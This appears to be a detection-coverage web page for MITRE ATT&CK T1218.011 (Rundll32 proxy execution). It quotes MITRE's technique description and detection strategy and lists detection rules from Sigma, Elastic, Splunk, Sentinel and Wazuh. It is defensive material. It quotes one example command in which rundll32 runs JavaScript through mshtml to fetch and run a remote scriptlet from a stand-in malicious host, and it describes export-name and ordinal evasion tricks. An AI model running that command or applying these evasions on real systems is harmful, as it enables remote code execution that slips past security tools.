Cross-source coverage

T1218.011 / ATT&CK

System Binary Proxy Execution: Rundll32

122 rules · 118 families across 6 sources.

From MITRE ATT&CK 19.2

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).

Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a.cpl file also causes rundll32.exe to execute. For example, ClickOnce can be proxied through Rundll32.exe.

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks.

Threat actors may also abuse legitimate, signed system DLLs (e.g., zipfldr.dll, ieframe.dll) with rundll32.exe to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.

Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones. DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).

Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.

Tactics
Stealth
Platforms
Windows
Telemetry
WinEventLog:Sysmon

How MITRE says to detect it DET0475

Detection Strategy for T1218.011 Rundll32 Abuse

Windows Analytic 1308

Detects rundll32.exe invoked with atypical arguments (.dll,.cpl, javascript:, mshtml). DLLs not normally loaded by rundll32 are mapped into memory. Control_RunDLL or RunHTMLApplication invoked. Suspicious DLLs or scripts accessed from disk or network. Rundll32 reaches out to external domains (e.g., fetching.sct or.hta).

  • WinEventLog:Sysmon EventCode=1
  • WinEventLog:Sysmon EventCode=7
  • WinEventLog:Sysmon EventCode=11
  • WinEventLog:Sysmon EventCode=3, 22

SigmaHQ/sigma

43 rules
Detection Severity Format
APT29 2018 Phishing Campaign CommandLine Indicators Critical Sigma
APT29 2018 Phishing Campaign File Indicators Critical Sigma
Equation Group DLL_U Export Function Load Critical Sigma
EvilNum APT Golden Chickens Deployment Via OCX Files Critical Sigma
HackTool - F-Secure C3 Load by Rundll32 Critical Sigma
NotPetya Ransomware Activity Critical Sigma
Potential Emotet Rundll32 Execution Critical Sigma
ZxShell Malware Critical Sigma
Bad Opsec Defaults Sacrificial Processes With Improper Arguments High Sigma
CobaltStrike Load by Rundll32 High Sigma

+ 33 more from SigmaHQ/sigma → showing the 10 highest-severity

elastic/protections-artifacts

28 rules
Detection Severity Format
BCDEdit Safe Mode Command Execution Undefined Elastic TOML
Binary Proxy Execution via Rundll32 Undefined Elastic TOML
Command Shell Activity Started via RunDLL32 Undefined Elastic TOML
Evasion via Device Credential Deployment Undefined Elastic TOML
Execution of Commonly Abused Utilities via Explorer Trampoline Undefined Elastic TOML
Execution via a Suspicious WMI Client Undefined Elastic TOML
Execution via MsiExec DownloadAndExecute CustomAction Undefined Elastic TOML
Execution via Outlook Application COM Object Undefined Elastic TOML
Execution via Program Compatibility Assistant Undefined Elastic TOML
ImageLoad of a File dropped via SMB Undefined Elastic TOML

+ 18 more from elastic/protections-artifacts → showing the 10 highest-severity

elastic/detection-rules

27 rules
Detection Severity Format
Potential Credential Access via Renamed COM+ Services DLL High Elastic TOML
Potential Credential Access via Windows Utilities High Elastic TOML
Potential Local NTLM Relay via HTTP High Elastic TOML
Script Execution via Microsoft HTML Application High Elastic TOML
Suspicious Microsoft HTML Application Child Process High Elastic TOML
Suspicious SolarWinds Web Help Desk Java Module Load or Child Process High Elastic TOML
Unusual Child Processes of RunDLL32 High Elastic TOML
Windows Server Update Service Spawning Suspicious Processes High Elastic TOML
Execution from Unusual Directory - Command Line Medium Elastic TOML
Execution of Persistent Suspicious Program Medium Elastic TOML

+ 17 more from elastic/detection-rules → showing the 10 highest-severity

splunk/security_content

18 rules
Detection Severity Format
Rundll32 Control RunDLL Hunt Undefined SPL
Rundll32 Control RunDLL World Writable Directory Undefined SPL
Rundll32 DNSQuery Undefined SPL
Rundll32 LockWorkStation Undefined SPL
Rundll32 Process Creating Exe Dll Files Undefined SPL
Rundll32 with no Command Line Arguments with Network Undefined SPL
RunDLL Loading DLL By Ordinal Undefined SPL
Suspicious IcedID Rundll32 Cmdline Undefined SPL
Suspicious Rundll32 dllregisterserver Undefined SPL
Suspicious Rundll32 no Command Line Arguments Undefined SPL

+ 8 more from splunk/security_content → showing the 10 highest-severity

Azure/Azure-Sentinel

4 rules
Detection Severity Format
regsvr32-rundll32-abnormal-image-loads Undefined KQL
regsvr32-rundll32-image-loads-abnormal-extension Undefined KQL
regsvr32-rundll32-with-anomalous-parent-process Undefined KQL
Rundll32 (LOLBins and LOLScripts, Normalized Process Events) Undefined KQL

Wazuh Core Ruleset

2 rules
Detection Severity Format
Rundll32 executing file with suspicious extension Critical Wazuh XML
Rundll32 executed from non-standard directory, may be related to link execution from mounted ISO file High Wazuh XML

Detection rules belong to the projects that publish them and remain under their own licenses. This site indexes and links to them; it claims no rights in them.